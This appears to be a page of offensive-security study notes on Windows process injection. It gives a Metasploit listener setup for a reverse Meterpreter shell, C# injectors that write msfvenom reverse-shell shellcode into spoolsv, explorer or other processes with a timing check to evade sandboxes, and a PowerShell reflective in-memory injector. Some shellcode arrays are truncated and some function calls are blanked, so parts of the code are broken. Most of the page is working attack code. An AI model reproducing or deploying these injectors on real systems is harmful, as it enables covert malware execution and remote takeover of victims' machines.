C# Process Injection
C# shellcode:
listner
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
On disk shellcode injection to process
injectshell.exe
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
static void Main(string[] args)
{
DateTime t1 = DateTime.Now;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if(t2 < 1.5)
{
return;
}
IntPtr hProcess = (, , );
IntPtr addr = (, , , , );
{
};
// decryptor if used evasion encryptor
//for (int i = 0; i < buf.Length; i++)
//{
// buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
//}
IntPtr outSize;
(, , , , );
IntPtr hThread = (, , , , );
}
}
}
Remember to set the CPU architecture to x64 (both compiler & shellcode) since we are injecting into a 64-bit process
64-bit versions of Windows can run both 32 and 64-bit processes.
This means that we could face four potential migration paths:
64-bit -> 64-bit, 64-bit -> 32-bit, 32-bit -> 32-bit, and 32-bit -> 64-bit.
The first three paths will work as expected. However, the fourth (32-bit -> 64-bit) will fail since CreateRemoteThread
does not support this.
The low-level native APIs NtCreateSection
, NtMapViewOfSection
, NtUnMapViewOfSection
, and NtClose
in ntdll.dll
can be used as alternatives to VirtualAllocEx
and WriteProcessMemory
.
better
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
namespace ex22
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static bool IsElevated
{
get
{
return WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);
}
}
static void Main(string[] args)
{
String procName = "";
if (args.Length == 1)
{
procName = args[0];
}
else if (args.Length == 0)
{
// Inject based on elevation level
if (IsElevated)
{
Console.WriteLine("Process is elevated.");
procName = "spoolsv";
}
else
{
Console.WriteLine("Process is not elevated.");
procName = "explorer";
}
}
else
{
Console.WriteLine("Please give either one argument for a process to inject, e.g. \".\\ShInject.exe explorer\", or leave empty for auto-injection.");
return;
}
Console.WriteLine($"Attempting to inject into '{procName}' process...");
Process[] expProc = Process.GetProcessesByName(procName);
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
if ((int)hProcess == 0)
{
Console.WriteLine($"Failed to get handle on PID {pid}.");
}
Console.WriteLine($"Got handle {hProcess} on '{procName}' PID {pid}.");
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
Console.WriteLine($"Allocated memory at address {addr} in handle {hProcess}.");
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5};
IntPtr outSize;
bool procMemResult = WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
Console.WriteLine($"Wrote {outSize} payload bytes into {addr} (result: {procMemResult}).");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Console.WriteLine($"Created remote thread at address {hThread}. Check your listener.");
}
}
}
powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = @()
$assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } }
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$id = (Start-Process Notepad -passthru).ID
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [bool], [Int32]) ([IntPtr]))).Invoke(0x001F0FFF, $false, $id)
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1
[Byte[]] $buf =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($hProcess, $lpMem, $buf, $buf.Length, [ref]0)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
Last updated